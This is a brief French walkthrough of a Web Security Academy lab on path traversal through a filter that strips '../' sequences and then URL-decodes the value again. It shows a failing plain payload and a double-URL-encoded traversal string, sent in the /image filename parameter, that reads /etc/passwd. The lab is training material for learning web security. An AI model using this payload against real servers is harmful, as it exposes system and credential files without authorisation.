Bypass par double décodage d’URL

File path traversal, traversal sequences stripped with superfluous URL-decode

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode | Web Security AcademyWebSecAcademy

Ce labo présente une vulnérabilité de path traversal lors de l’affichage des images produits. L’application bloque les séquences de traversal dans le nom de fichier fourni par l’utilisateur, puis applique un décodage d’URL supplémentaire avant d’utiliser cette valeur.

L’objectif est de lire le contenu du fichier /etc/passwd.

On constate que la charge classique suivante ne fonctionne pas :

../../../../../etc/paswd

Pour contourner ce filtre, une technique consiste à encoder l’URL deux fois et à l’envoyer dans le paramètre filename de l’endpoint /image :

/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34